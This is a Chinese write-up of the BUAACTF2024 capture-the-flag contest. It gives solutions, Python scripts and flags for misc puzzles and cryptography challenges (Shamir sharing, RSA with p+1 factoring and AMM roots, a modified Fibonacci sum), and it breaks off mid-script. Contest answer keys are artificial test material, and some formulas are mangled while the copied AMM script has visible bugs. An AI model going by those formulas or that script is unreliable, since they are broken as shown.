随笔 - 18  文章 - 0  评论 - 2  阅读 - 6932

BUAACTF2024 Writeup

BUAACTF2024 Writeup

Misc

到签

为什么是到签不是签到?

关注赛博安全社团公众号,回复"BUAACTF2024",获得语音,录屏语音播放过程视频,利用剪映工具将视频倒放,即可听取获得flag:

BUAACTF{H0P3_ENJ0Y_TH3_8U44CTF2024}

尊嘟假嘟

每个尊嘟假嘟语的单词由两个眼睛和一个嘴巴构成,眼睛和嘴巴都各有四种字符:

eye=['@','O','0','o']
mouse=['v','w','_','.']

正好可以对应到二进制字符的四种情况:

code=['00','01','10','11']

因此每个尊嘟假嘟语单词可以对应到一个6位的二进制字符串,这个字符串正好对应一个base64字符。因此在base64编码原理的基础上,建立base64字符表与六位二进制串的一一映射表。

建立完映射表后,采用暴力枚举方式,将眼睛eye和嘴巴mouse字符集映射到code集合。两种字符集的对应情况分别有4!种,因此两字符集共有4!×4!种对应情况。

在每种映射情况下,将题目所给字符对应为base64字符,再对转换后的字符串进行base64解码,如果解码后的字符串中包含b'buaactf{,则输出。

import base64
import itertools

def create_base64_binary_table():
    base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    binary_table = {}
    for i in range(len(base64_chars)):
        binary_str = bin(i)[2:].zfill(6)
        binary_table[binary_str] = base64_chars[i]
    return binary_table

def create_mapping_table(table1:list,table2:list):
    mapping_list=[]
    for perm in itertools.permutations(table2):
        mapping = dict(zip(table1, perm))
        mapping_list.append(mapping)
    return mapping_list

s="@vO @vO 0v@ O.0 @_o owo @_@ Ow@ 0_0 0wo Ow@ O.o @.@ @vO ov0 Ov0 @v@ 0wO @w@ o_0 @.@ 0wO @w@ ovO 0_o OvO 0v@ @vo @_o ovO 0v@ O.@ @.@ @wO 0.@ O_0 0_o OvO 0v@ 0_@ 0_0 0wO O_@ ow@ @.0 owo @v0 Ov0 @_@ 0wO o.@ O.O 0_@ owo @v0 Ov0 @_o 0wO Ow@ O_o @_@ @vO 0v@ o_@ @_o owo @w0 Ov0 @_0 @wO o_@ o_@ @_o @wO o.@ ovO @_@ @vO o_@ @_@ @_o owo @w0 Ov0 @_@ owO o.@ ow0 0_0 0wO 0w0 Ov0 @_@ 0wo 0_@ Ow@ @_0 @wO ow0 O.0 0_0 0wo Ow@ O.o @.@ @vO 0v@ Owo @_o owo @v@ ow0 @_0 @vO 0v@ ov0 @.0 OwO o.@ ow0 @_@ @wO 0.@ ow0 0_0 0wO Ow@ ow0 0_o OvO 0v@ @v0 @_@ @wO o.@ ov0 @_o 0wO @w0 Ov0 @_0 owO 0w@ O.O 0_@ owo @v0 Ov0 @_@ 0wO o.0 Ov0 @.0 owO o.@ O.@ @_@ @wo @v@ O_0 @_O @wO o_@ Owo 0_0 0wo @v@ O_0 @_@ @wO ow@ ovo @_@ @wO ov@ owO @_@ @wo 0.0 O.0 0_0 0wo @v@ O_0 @_@ @wo Ow0 Ov0 @.@ owO 0w@ O.O @_o OwO 0w0 Ov0 @.@ 0wO @w@ O.0 @_o 0vO 0v@ o_@ @_o owo @w0 Ov0 @.O @wO o.@ ow@ 0_0 0wO 0.@ Ov@ @_o OvO @.@ ow0 0_0 0wO @v@ O.o 0_0 0wO Ow@ ow0 0_o OvO 0v@ 0_@ @_@ OvO 0v@ o_@ @_o owo @w0 Ov0 @.@ owO 0w@ O.O @.@ 0vO 0v@ ovo @_o owO ow@ Ow@ @.@ 0wO Ov@ O_@ @_o OwO @.0 O.0 0_0 0wO @.@ O.o 0_0 0wO @.@ Ow@ @.@ 0vO 0v@ O_@ @.@ 0vO o_@ 0.0 @_O @wO @_@ Ow@ 0_0 0wo @.@ Ov@ @.0 ovO 0v@ O.0 @_O @wO O.@ Ow@ 0_0 0wO 0w0 Ov0 @_0 OwO o.@ o_0 0_0 0wO o.@ OwO 0_0 0wO 0.@ O_0 @_o owO 0.@ O.o @_o 0wO 0w@ ow0 @_@ @wo 0.0 O.0 0_0 0wo Ow@ O.o @.@ @vO 0v@ O.O @_@ @wo @_@ Ow@ @.0 OvO 0v@ O_o @_o OwO o.@ owo 0_0 0wo @.@ O_0 @_0 @wo @v0 Ov0 @.O @wO o.@ ow@ 0_@ owo 0_@ Ow@ 0_0 0wO @.@ O.o @_o OwO o_@ Ov@ 0_0 0wO @.@ Ow@ @.@ 0vO o_@ 0_@ @.0 ovO 0v@ O.0 @_O @wO @_@ Ow@ 0_0 0wO 0w@ O.0 @.@ owO 0w@ o_@ @.0 ovO 0v@ ow0 @_O 0wO Ow@ ovo 0_0 0wO Ov@ Ov@ @.0 OwO @v0 O.O 0_0 0w0 o.@ ovO 0_0 0wO Ow@ ovo 0_0 0wO Ow@ ow0 0_0 0wO O_@ ow@ @.0 owo @v0 Ov0 @.@ owO Ov@ Ow@ @_o OvO 0v@ o_@ @_o owo @w0 Owo @.0 OwO @w0 Ov0 @_0 @vO 0v@ O_o @_O @wO @v0 o.o @v0 @wO ov@ owo @_0 @wo Ow@ ovo 0_0 0wO ov@ O_@ @_O owO @w0 Ov0 @.@ 0wO Ov@ O_@ @.0 ovO o_@ 0vO @w@ @w0 0w@ 0v@ @v0 ow@ @v@ 0wO @.O ow0 @_0 ov0 @.0 Ow@ o.@ ovO 0.0 owO 0w@ O.0 0.o ow@ o.@ O.o 0_o Ow0 o.@ @.o @vo ovO o_@ 0.o @wo ow0 o.0 O.O @_o ow@ o.@ O.o 0_o OwO o.@ o.@"
s_table=list(s.split(" "))
eye=['@','O','0','o']
mouse=['v','w','_','.']
code=['00','01','10','11']
eye_mapping_list = create_mapping_table(eye,code)
mouse_mapping_list=create_mapping_table(mouse,code)
bin_b64_table = create_base64_binary_table()

# print(eye_mapping_list)

for i in range(24):
    for j in range(24):
        r_b64=''
        for e in s_table:
            x_bin=''
            x_bin+=eye_mapping_list[i][e[0]]
            x_bin+=mouse_mapping_list[j][e[1]]
            x_bin+=eye_mapping_list[i][e[2]]
            x_b64=bin_b64_table[x_bin]
            r_b64+=x_b64
        flag=base64.b64decode(r_b64)
        if b'BUAACTF{' in flag:
            print(flag)

运行获得文本:

b"I love you, Dexter. So much. I just don't like you anymore.You got a dream, you gotta protect it. People can't do something themselves, they wanna tell you you can't do it. If you want something, go get it.Life was like a box of chocolates, you never know what you're gonna get.Is life always this hard. Or is it just when you're a kid?Always like this.BUAACTF{F0r_r3al?_o.O_O.O_O.o_o.o}"

即可提取获得flag:BUAACTF{F0r_r3al?_o.O_O.O_O.o_o.o}

航班的秘密

image

右键查看所给图片的属性信息:

image

可以看到拍摄日期为2024年3月9日,并且航班起飞时间大概率为8点多。点开图片,可以看到飞机的型号为大飞机,拍摄位置位于36A。

在网站https://www.flightera.net中查询2024年3月9日温州飞往北京的飞机,先查到首都机场(PEA)的:

image

点开第一趟:

image

image

航班号为CA1540,飞机型号为A330(是大飞机,和图片中的座位布局一致),到达时间为10:42(后来计算MD5值发现不对,询问出题人得知正确答案应该是10:44)。

因此flag为BUAACTF{md5("CA1540_A330_35A_PEA_10:44")},即BUAACTF{8b73fdd1dac4b1257ab1c2be63745e68}

屏玉的秘密

用Audacity打开两段音频,然后选中第二段音频,点击效果->特别鸣谢->反向(上下)。

image

然后同时选中两段音频,点击轨道->混音->混音并渲染到新的轨道。
image

查看新生成的音频的频谱图,高度调高即可读出flag。

image

Crypto

lang

Shamir门限秘密,使用拉格朗日差值法进行求解,但阈值t未知,需要遍历t值列举所有种组合情况。

先将p(MjUyMDQxNzI4MzU0MDIxODcwMTA4NjQ4MzkyMTUwODI2NDM2MTIyNjIzNTc0MDUyNjIzNTE3NjMwODYwNDkwNDQ0MDQwMTcwMDIzNTI4NTg5NDAyMjk2NjA0MDY1MDA5NTE4NDQ2NDcxODUwNzA5MjkzMjkwNjczMjAwMjIyMjkwNzU0NDg3MDQ1NTI2ODY0MTIxMzc1NjMyODc=)进行base64解码得到p=25204172835402187010864839215082643612262357405262351763086049044404017002352858940229660406500951844647185070929329067320022229075448704552686412137563287

from Crypto.Util.number import *
import random
import gmpy2
from itertools import combinations
s=[(19168569049379050450600275257922699726881322022917639781126024500668250998431468157966612985869165918483044626245603744180835250608203188440201471019080028, 774546003223977711564030976853991255473640500382161035024736290553369395394850954316305819983134394970397857649365104732659268610365201380589956203634256852621539464243009244564886356161229920816963571999881153133716990874928257358756854587703001704245658859444702994611877248253884550839486238154758830843573),
         (23915862239324677516769119355125328160694871020130249835930366856448170323253797827050914695986336493865986713975476199514599021127070124075745668957702139, 966370336349292693126218707577213768325517076650907429161508379551331010964997944738732941579659709197859492634638560796207982546556720035187300673772642513031838987184753713286895787524098794071868898173067430210935458622995196858531654259101318357657993663669415517512819353674811398734921977311434912446666),
         (17702722749221872962621334220608670422531583458658534962315706745856959226025949643490362421883219385416977481750408845623199435086964408426442828132430893, 715315426846437615810154392819078189995646163939062160690162652191717060684412127124147097909524489641744212970521902694782267169566618953970603492823294816192779341173912042938238102871757106414121830402997370975323084943474290527722558566417061584895742692323443507188670151048326427882815785237216119633143), 
         (17302570038971644007825165454266173946526431386968811986781244836046766106502581682003455471096611408283275553167860522915329886009548965637940387242561512, 699146422180249609605033467741187010191864156963837090278104326826922568083374886283095951004122124664114166339360392083246208264526024174388260511081961832049619330745909529892499997043239983149740434782982008214412063009998098324706328186598341239055012747636498882523392163139582157354485701935765169828685), 
         (15130481392463301261778913019949751299027222824116866561676268540388057086031824872629468914506730196244071504353085285011019347470748817417923914632432082, 611378651124031097750088728939712852437441808522070354037121535509652643709389326137096300992362010777691288671469580025326218338996606803330310286648127762606681020961401369201052791054596148711402882772226867600527334287585554778156371503850138249362458377309905541778271572333041959356322629653924578030945)] 
p=25204172835402187010864839215082643612262357405262351763086049044404017002352858940229660406500951844647185070929329067320022229075448704552686412137563287

def brute_force_secret(p, shares):
    x_list,y_list=[],[]
    for x, y in shares:
        x_list.append(x)
        y_list.append(y)
    secret = 0
    for x_i in range(len(x_list)):
        tmp_num = y_list[x_i]
        x_i_j = 1
        for x_j in range(len(x_list)):
            if x_i != x_j:
                tmp_num = tmp_num * (0 - x_list[x_j]) % p
                x_i_j *= x_list[x_i] - x_list[x_j]
        tmp_num = tmp_num * gmpy2.invert(x_i_j, p) % p
        secret += tmp_num
    secret %= p
    secret = long_to_bytes(secret)
    return secret

def enumerate_combinations(shares):
    all_combinations = []
    n = len(shares)
    for k in range(1, n + 1):
        for combination in combinations(shares, k):
            all_combinations.append(combination)
    return all_combinations

S=enumerate_combinations(s)

# print(S) 
for s0 in S:
    r=brute_force_secret(p,s0)
    if b'BUAACTF{' in r:
        print(r)

获得flag:BUAACTF{Y0u_have_kn0wn_Sham1r}

Bbfac

首先注意到大素数q的生成方式,是通过若干个素数的乘积减一获得。查阅相关代码片段,参考博客https://blog.csdn.net/weixin_44017838/article/details/105662173中的方法,利用Williams’p+1 algorithm分解n,直接利用命令行调库进行操作:

python3 -m primefac -vs -m=p+1 1912561828314523531858872335508929807615999610646596571343486074950952702669037414875194296408303047292081641645488574198223068495467311667886907594118975080380322305292189242805374929917727056899020205493688521709416500683819620202430504437977672681428162487894883643081202797119347996221441213915850067839004497486587812644396497158816391305052566004706451483898881090071347430185506430152666766414775570634039317598642671444195019469769475967905729247913146812295890733934064693528515934103339012545623758553920649738182157379075067158116159819456177339877048408923567152565337148415268742187199432073970106681959399

分解得到:

p=141913953366615157784400975463867663021243666420910454614342285051032100942075839403215716035116195266813046095106261366205020090681564949828694546620165901405503540540000953860530095342240522106718361484383948736366745223034797376860076741606917860819358007233260617499386436433351818780214459273065021194903
q=13476911769018818024282558683453138148347170778203504838892673531789838424416096361461871569757780007595864490799271597934317253800996496482313334879682084524019696536528339061054746684376957396881366479175278451911657108069801675497528925042693906806249449624970283113232240564537942428049339208908354601149233

通过常规的RSA求解方法想要获取flag,却发现p1e的倍数,因此eφ=(p1)(q1)不互素,不能通过常规的RSA方法计算明文。

查阅资料得知此时可使用AMM算法进行求解。AMM算法是一种开n次方根的算法,1111.4877 (arxiv.org)中有详细介绍。在网上寻找一个脚本,放到本题中:

import gmpy2
import time
import random
from Crypto.Util.number import *
from Crypto.Util.number import isPrime, sieve_base as primes
n = 1912561828314523531858872335508929807615999610646596571343486074950952702669037414875194296408303047292081641645488574198223068495467311667886907594118975080380322305292189242805374929917727056899020205493688521709416500683819620202430504437977672681428162487894883643081202797119347996221441213915850067839004497486587812644396497158816391305052566004706451483898881090071347430185506430152666766414775570634039317598642671444195019469769475967905729247913146812295890733934064693528515934103339012545623758553920649738182157379075067158116159819456177339877048408923567152565337148415268742187199432073970106681959399
c = 1210545720401830768891668411217205475753598258772724926036772193728980792658983827387578865036757290975780502911274836385689650390155901713875455698208173801170140593326070029906936392527507409140201420512809239713236353189681033328073025405958820669313777971765620265369292034109604282080576332861112795726725500523730747239510961990434025694767974151667233589803837973573327131909987051798407356739591120481335824057790205402346403915290251900041488272100835251905936710002954653683881097983653224257809880628210983331869701496395048286199898497951516661519464311059381965339250195841138912963506397271165295988014123
e = 75721

# https://blog.csdn.net/weixin_44017838/article/details/105662173
# 首先利用Williams’p+1 algorithm调库分解n:
# python3 -m primefac -vs -m=p+1 1912561828314523531858872335508929807615999610646596571343486074950952702669037414875194296408303047292081641645488574198223068495467311667886907594118975080380322305292189242805374929917727056899020205493688521709416500683819620202430504437977672681428162487894883643081202797119347996221441213915850067839004497486587812644396497158816391305052566004706451483898881090071347430185506430152666766414775570634039317598642671444195019469769475967905729247913146812295890733934064693528515934103339012545623758553920649738182157379075067158116159819456177339877048408923567152565337148415268742187199432073970106681959399
p=141913953366615157784400975463867663021243666420910454614342285051032100942075839403215716035116195266813046095106261366205020090681564949828694546620165901405503540540000953860530095342240522106718361484383948736366745223034797376860076741606917860819358007233260617499386436433351818780214459273065021194903
q=13476911769018818024282558683453138148347170778203504838892673531789838424416096361461871569757780007595864490799271597934317253800996496482313334879682084524019696536528339061054746684376957396881366479175278451911657108069801675497528925042693906806249449624970283113232240564537942428049339208908354601149233

# 发现p-1是e的倍数,e和(p-1)(q-1)不互素,采用AMM算法求解m

#设置模数
def GF(a):
    global p
    p = a
#乘法取模
def g(a,b):
    global p
    return pow(a,b,p)


def AMM(x,e,p):
    GF(p)
    y = random.randint(1, p-1)
    while g(y, (p-1)//e) == 1:
        y = random.randint(1, p-1)
    #p-1 = e^t*s
    t = 1
    s = 0
    while p % e == 0:
        t += 1
    s = p // (e**t)
    # s|ralpha-1
    k = 1    
    while((s * k + 1) % e != 0):
        k += 1
    alpha = (s * k + 1) // e
    #计算a = y^s b = x^s h =1
    #h为e次非剩余部分的积
    a = g(y, (e ** (t - 1) ) * s)
    b = g(x, e * alpha - 1)
    c = g(y, s)
    h = 1
    #
    for i in range(1, t-1):
        d = g(b,e**(t-1-i))
        if d == 1:
            j = 0
        else:
            j = -math.log(d,a)
        b = b * (g(g(c, e), j))
        h = h * g(c, j)
        c = g(c, e)
    root = (g(x, alpha * h)) % p
    roots = set()
    for i in range(e):
        mp2 = root * g(a,i) %p
        roots.add(mp2)
    return roots


mps = AMM(c,e,p)
for mpp in mps:
    solution = (long_to_bytes(mpp))
    if b'buaa' in solution:
        print(solution)

最终获得flag:buaa{N0t_t3xtb00k_RSAdecrypt}

Fib

参考了https://tanglee.top/2023/06/11/SYCTF-2023-%E5%AE%89%E6%B4%B5%E6%9D%AF-Crypto-%E9%A2%98%E8%A7%A3/这篇文章的解法。

本题对斐波那契数列进行了变形:

Sn={1n2,aSn1+bSn2+f(n1),n3.

此时 𝑓(𝑛) 如下:给定一个数集 𝑆 ,满足:f(n)=mSI(m|n)

其中 I 表示括号内表达式为真则为 1,否则为 0𝑓(𝑛) 即一个计数器:n 能整除数集 S 中的数的个数。

将斐波那契数列部分和常数部分分别进行分析:

  • 不考虑常数项部分,查阅资料给出一般斐波那契数列矩阵表达式(𝑎=𝑏=1)​:

(FnFn1)=(ab10)(Fn1Fn2)=(ab10)n2(11)n2

​ 记一般斐波那契数列的递推矩阵为M=(1110)

  • 现在 𝑆(𝑛) 中加入了常数项 f(n1) ,考虑一个简单的事实,对于任意 i<n , 𝑓(𝑖)S𝑛 中累加了多少次?记这个次数为 𝐶𝑜𝑢𝑛𝑡(𝑛,𝑖) , 我们会发现巧合的是,固定 𝑖 之后 𝐶𝑜𝑢𝑛𝑡(𝑛,𝑖)​ 也恰好是一个斐波那契数列,递推公式与斐波那契数列数列一致。准确来说 :

    Count(n,i)=Count(n1,i)+Count(n2,i)

  • 发现对任意整除 S 中的数 , 所有 f(s)𝑓(𝑠) 在 Sn𝑆𝑛 中累加的次数,就是最终递推公式中常数项 𝑓(𝑛)𝑆𝑛 的总影响。考虑一个固定的数 𝑠𝑆 , 则它对最终 𝑆𝑛​ 中的贡献为 :

    \[C(s)_n = F_{n-s} + F_{n-2s} + \cdots + F_{n-ks} , \quad k = \lfloor n/s \rfloor $$ {C(s)_n = F_{n-s} + F_{n-2s} + \cdots + F_{n-ks} , \quad k = \lfloor n/s \rfloor \]

    写成递推矩阵形式即:

(C(s)nC(s)n1)=(Mns+Mn2s++Mnks)(11),k=n/s

即一个矩阵等比数列求和!

  • 求出每个sS中的等比数列和,再累加起来,就是 𝑓(𝑛) 项在递推公式中对 𝑆𝑛 的贡献。最终结果为 :

Sn=Fn+sSC(s)n

from random import getrandbits
from hashlib import md5

n = 666
fac_list = [
       2595326515, 23180772,   3997687803, 3326360477, 2276157283, 2467209954, 2500673804, 1143199883, 2641431550,
       1419029027, 350264058,  4053087274, 4053958055, 2513326751, 339420864,  1011193327, 271856605,  1513947525,
       2020417055, 883563173,  1547578383, 547304334,  351829798,  3642312362, 2921110987, 3148301320, 817993595,
       1421185599, 1799335143, 835191090,  2150648746, 3967401199, 3003502005, 643104359,  2609214076, 3840706282,
       686462863,  2978749817, 2989880195, 4116411541, 638017306,  4120616638, 1597189550, 3011705547, 3083335311,
       2675246638, 2686884427, 3499126467, 4092013115, 1613371790, 1970975028, 969658130,  99110934,   3607741353,
       1759331867, 2676116875, 2773617686, 2361770583, 89532012,   3083783497, 2234712564, 541053324,  2626904587,
       3087162337, 2640404694, 3300233207, 3647200745, 3547410617, 3582999314, 2465603703, 2126377719, 4149124654,
       138476758,  523401679,  2433383115, 3669851616, 86525204,   1374898657, 4045200933, 2868686313, 2337739152,
       2281926848, 3989569066, 4070566171, 857308185,  2713842069, 1899103910, 805038016,  3704354207, 1581480981,
       736387671,  2741130638, 507077521,  2206337801, 922151594,  2838078904, 3505028480, 3420665932, 1284793827,
       2523062091, 3401665715, 3623189546, 1809973029, 3894323261, 2258205953, 1426203731, 2207475504, 1421407269,
       712883663,  3025774184, 1437505487, 354824074,  4279560597, 2188573763, 1179625177, 2579894844, 3194995724,
       1283521420, 1135324449, 1473616416, 715835593,  2107056108, 691042641,  2371082653, 1254628608, 3158228295,
       818000855,  2557001734, 2040988505, 52312640,   252680184,  1981836677, 3089079663, 480804531,  1761541936,
       126588265,  1210366606, 3737411248, 781392104,  3783893270, 3425167192, 792267934,  614551393,  2806921629,
       2637795287, 382775306,  1478063635, 2461883536, 3584856992, 3573870252, 3398089673, 3977329470, 1810189120,
       2563127601, 2610993483, 3703813521, 176152943,  934506937,  4075489690, 2159461914, 1711569283, 3681905316,
       2391446598, 2802858914, 1599608333, 582339237,  4083811130, 3603659097, 1820065766, 1940652046, 1601051937,
       1686029702, 3214225708, 626096315,  3303210795, 845320257,  1628905577, 2623206441, 3863048561, 3282287714,
       2093932519, 691822855,  2810972244, 2734202132, 3103273726, 3374394469, 99122473,   1198473250, 2850988793,
       475290944,  355799740,  2007358658, 1832567807, 409261747,  4128221233, 3186243510, 1505678597, 118934195,
       2801556035, 2831148108, 3633663226, 2383066815, 4029162187, 4186049492, 1557349332, 3767979960, 3786287408,
       2944862336, 2641414000, 586491880,  1158885215, 609689300,  3716903319, 1189655822, 1285350048, 3626771802,
       1630239597, 4232045507, 2836741297, 3540650942, 873784185,  3956580871, 1654596190, 828962693,  2241103382,
       987968067,  2867681479, 542661969,  2732885133, 2291511952, 107639675,  1199900588, 3503460002, 4037358916,
       3353436988, 3106421078, 2979993076, 2923808598, 1857157100, 2827347292, 2609932672, 2584524205, 2089293405,
       3129636000, 2220950206, 3138359470, 1932925027, 2234221191, 1370581559, 3028901069, 3710562178, 1131137053,
       4080224718, 2924102520, 3276138392, 2605901145, 2273060669, 3877110064, 3177786839, 3410727907, 4132091933,
       2481607479, 879351358,  3418049200, 3609105477, 2813795936, 2260936777, 617558951,  3157207817, 2488107340,
       2898477888, 2524829762, 172627595,  822059892,  2860011718, 1684712121, 1984236044, 3688136037, 2078776978,
       480328333,  93141946,   3474173863, 1234020763, 2249863005, 3745921519, 1457081143, 2385853482, 2248913964,
       820071300,  3718075972, 1324074018, 475088565,  2958253316, 1341289223, 1620637057, 3994397025, 93449389,
       308791574,  3490958092, 2540967073, 2310889365, 702942123,  117751104,  4018639883, 2248435460, 2843381024,
       3574659543, 2452028923, 2132263591, 3476164200, 8954269,    3206697476, 2853057742, 1456365483, 1082982734,
       1068636703, 667607909,  219824541,  3870245303, 2091060006, 2964047264, 4029811900, 2356039555, 1908336693,
       3718355579, 3638876848, 3216566492, 416832882,  2828647873, 4001012267, 2807111458, 1792797750, 1734892518,
       3375708100, 3207637928, 3046584777, 945849513,  3073419563, 3271332119, 3883933284, 4186848929, 4097911388,
       3612544183, 1194826711, 1233284669, 3482512536, 1404018410, 2078197945, 2926152771, 63919719,   1330565043,
       3837864559, 4116517348, 2691851961, 811807617,  2918150785, 2106740789, 1189082063, 874346773,  273086454,
       1163652664, 2711964943, 1934985821, 1958980279, 8173558,    3264410820, 2294316976, 3314567282, 1502597925,
       1468525675, 4119644439, 2120100930, 3903541325, 3149609846, 681075835,  2586592743, 1927148755, 506338789,
       3624911484, 3657313748, 1914029921, 1384381536, 1529509472, 1616387737, 2680552716, 551196734,  588351272,
       904040766,  3795641990, 3697883395, 1783651815, 2132576849, 197369352,  3175716923, 2597870651, 3658263056,
       70001269,   1014930358, 2158445352, 221540231,  585585263,  2122302668, 399937442,  3210646977, 2268011990,
       1721927806, 2865058856, 364263286,  2727747683, 4195126833, 3245443564, 3976083696, 177640136,  3701720923,
       1394773300, 2926912972, 2574226055, 3768190066, 409666084,  1435373724, 14365298,   3121902131, 2944018561,
       2671982360, 1683156955, 161015936,  3135869882, 497046853,  2857165322, 1651104105, 4136468209, 1310516600,
       2915061784, 3073788860, 2777209233, 481503339,  3411502921, 472775448,  1956651704, 41551628,   1694173440,
       1530788479, 3048560079, 1990395570, 3597635648, 3096309687, 1316587810, 190303266,  1755799976, 2733339124,
       1962984809, 3086256135, 1304353757, 1808355161, 3526607550, 540366595,  2137389092, 4165091800, 3868217849,
       865298295,  3967375579, 934437269,  842158193,  2145833847, 907161725,  1063817862, 3917584131, 1382471752,
       2290848699, 217016948,  2078740054, 3512023515, 3034471208, 822114632,  3290750093, 80754213,   2158167962,
       1154816936, 2272639070, 3071834023, 3843663245, 2524329183, 3132931396, 729789660,  1086713161, 1479517061,
       1203195638, 729214877,  2913728711, 2022939474, 1233771489, 2303109708, 2428751488, 4282556167, 1836561513,
       3558386301, 2505864835, 2016641451, 108653676,  4098077830, 905952785,  1814034784, 2901745130, 1189887853,
       1681683501, 1198355966, 936372521,  3898325049, 215824261,  4116789808, 2820232323, 2890038521, 4182729512,
       604732871,  4016768031, 2321663893, 2515037504, 4050314636, 702794677,  2961459925, 40400416,   4095059760,
       956219451,  3849649494, 1922015975, 1744193407, 1138648647, 3315175304, 1115571875, 552591714,  3854175337,
       3989311045, 2085781317, 1614257910, 3011965436, 3162375497, 829393285,  1201153327, 771917993,  360299656,
       3759219688, 1308014821, 1367955176, 3953655004, 2282274211, 442767499,  2183054867, 3358816752, 3212849234,
       4020234505, 372924337,  622276414,  713136280,  2268577293, 1001460604, 584394700,  2535981592, 860213893,
       1796518622, 2383281908, 225709650,  459353092,  1336677515, 3045944304, 1977786023, 2401414751, 2849468597,
       1795713298, 2614581318, 1328455769, 3784827954, 1405248029, 1260540058, 1644012036, 3503196746, 2708457053,
       1650697250, 1129515384, 4190369094, 3722054749, 1478291090, 4241183563, 484701892,  2549014848, 1447709776,
       4212153585, 1797864056, 3600764365, 3404412904, 3329305753, 2650982244, 963111196,  4092022285, 1756942112,
       3265977672, 2386627115, 3144670390, 3914974036, 3446371882, 290290818,  3862974638, 2566756978, 3542661279,
       2191748912, 825063906,  4059545118, 4038340163, 1979460431, 3062262439, 4067702476, 2717224905, 285845768,
       530036375, 2325511596,  1272518080, 1758606610, 256991409,  1878156850, 3580339279, 2107013750, 1170026025,
       681215682, 2911622954,  698626001,  332605315,  3488313095, 2132113161, 2726482290, 1222080383, 2978934938,
       2181753820, 3161618585, 3692850587, 4051216623, 2686955509, 3015070988, 1112203990, 34245660,   3339982780,
       220670341, 3589606923,  1115872535, 29967396,   2774865228, 4125098481, 1476995888, 78926061,   2482265247,
       1609184053, 2012706446, 1451065950, 2674196994, 2927007707, 1436218421, 2064582175, 2197505437, 1107809803,
       2138239872, 3731147470, 473071614,  2243697427, 2977343456, 3723291677, 480836923,  1777047244, 2758559347
       ]

cipher = "f0y4z3txt0rg3vbl4qg0vvj1pn"
M = 12829041659394284307857221062697666364062866719089961329835167571637466859464459350524888222088988864340987270671846091784055132762437055993937758559806211
m = 3510693360590935015859429855757884833472774716576844765150309153038369141267530117727135794989011465836700343607021684660331665506948350652663352653803583

m0 = [
    [1,1],
    [1,0]
]
_M = matrix(Zmod(M),m0)

def factor_cnt(num):
    cnt = 0
    for i in fac_list:
        if num % i == 0:
            cnt += 1
    return cnt

def mul(a, b):  # 首先定义二阶矩阵乘法运算
    c = [[0, 0], [0, 0]]  # 定义一个空的二阶矩阵,存储结果
    for i in range(2):  # row
        for j in range(2):  # col
            for k in range(2):  # 新二阶矩阵的值计算
                c[i][j] = (c[i][j]+a[i][k] * b[k][j])%M
    return c

def Fib(n):
    if n <=2 :
        return 1
    else:
        return (_M^(n -1))[0][0]

def extra_cal(m, num):
    a0 = m % num - 1
    max_exp = m - num - 1 
    assert (max_exp - a0) % num == 0
    k = (max_exp - a0)//num + 1
    q = _M^num
    if a0 == -1:
        k = k - 1
        a0 = a0 + num
    A0 = _M^a0 
    MM = (1/(1-q))*A0*(1-q^k)
    return MM[0][0]

def Fib_plus(n, fac_list = fac_list):
    R = Fib(n)
    for num in fac_list:
        R += extra_cal(n, num)
    return int(R % M)

def newFib(i):
    # if i == 1:
    #     return 1
    # if i == 2:
    #     return 1
    # else:
    #     return (newFib(i - 2) + newFib(i - 1) + factor_cnt(i - 1)) % M
    F=[0,1,1]
    for j in range(3,i+1):
        F[j%3]=(F[(j-2)%3]+F[(j-1)%3]+factor_cnt(i-1))%M
    return F[i%3]
            
def decrypt(cipher, key):
    msg = ""
    j = 0
    while j < len(key):
        for i in cipher:
            if 'a' <= i <= 'z':
                msg += chr((ord(i) - ord(key[j])) % 26 + ord('a'))
            else:
                msg += i
            j += 1
    return msg

def all_alpha(str):
    msg = ""
    for i in str:
        if '0' <= i <= '9':
            msg += chr(ord(i) - ord('0') + ord('a'))
        else:
            msg += i
    return msg


ans = (Fib_plus(m,fac_list))
k = md5(str(ans).encode()).hexdigest()
k = all_alpha(k[6:])
kernel=decrypt(cipher, k)
# print(kernel)
flag = "BUAACTF{" + kernel + "}"
print(flag)

Easytranses

本题分为4段flag,对每一部分分别进行解析:

  • 第一段:已知n,e,cgiftd(mod(p1))(1),由de1(mod(p1)(q1))(2),得de=1+k(p1)(q1)(3),其中k为整数。(3)两边同时模p1de1(mod(p1))(4)(1)两边同时乘以egift·ede(modp1)(5),由(4)(5)gifte1=k1(p1),其中k1为整数。由于giftp1,可得k1e,暴力破解可获得p​​​。

    import gmpy2
    def decode1():
        n = 24713544091250280193723685352771824856601716089115454232950601776448273477112692723430971761515542581158177045786058895691401204261854257997891689878162174364658477523314435968177393691482412584163762151179495886478113928256034104395368412250129242492534991726393471528465256044331086618638074738963176665385003560361016696920542425375110465098875309249494842954822970842247252169234405232443504458348596591611267122662015239255876028399982182125381296940343801193355000131967665410286023719673484373870399787983376313753726552233023442368901152638471060714051087469276683615842267628739279012373047021162164166834257
        gift = 14778164819224852712296018291200871840513279276582839312633638046111051579992328799956669536831309487007945055190469613300578167577482046958417581757500172122419734518184944790946154221275096871164613981382297425567235688010553836071030866563829064967087375729402986580783708844822538777259867361317718580609
        c = 3125709684289866477461923494356929122380819080746788828309747589111530409340236700969387653729470420376709181829766338463192420100813355219158438459588019228240881262058693790413892040187199177583254912718165682204332896374352000176836689804600638896097008561858002974376805846968033683091436555258275206100232340399098165304749729101506001286502457470856604558328150688528722624455083547794329192839834523120170126326867780746368532794245447117651557455479504030316992818973798469119543041414753065796022600911666693504955018940379108010124760090814290233899828362672555330709579091195516489433440914790943740408789
        e=0x10001
        g=gift*e-1
        for k in range(2,e):
            p=g//k+1
            q=n//p
            if isPrime(q) and p*q==n:
                break
        phi=(p-1)*(q-1)
        d=gmpy2.invert(e,phi)
        m=pow(c,d,n)
        return long_to_bytes(m)
    flag1=decode1()
    print(flag1)
    
  • 第二段:已知c,e,gift1=pq(modn),gift2=qp(modn),根据欧拉定理可以得知gift1p(modn)gift2q(modn)。接下来可以进行计算了:

    import gmpy2
    def decode2():
        gift1 = 161115134910925257421248579141038108911088715303406489513368015450511890815212110555148067806187419285598317209530964547924922161145775464592519122335803596052718040212856284795640481072728268592122631865088765683316565238858139110265875370469230112768176549925700428369894162274095381364295191146582673883991
        gift2 = 99557958614985151225694331646555409532826976087786417608161655875874228799827601830770795795834082302574568845709561404322223874729407471414784205346666792838233826132335669045402493756273342126641123009685635459952628596588358777382241394732469386934107633300855954176620690204724740978698575016169289041083
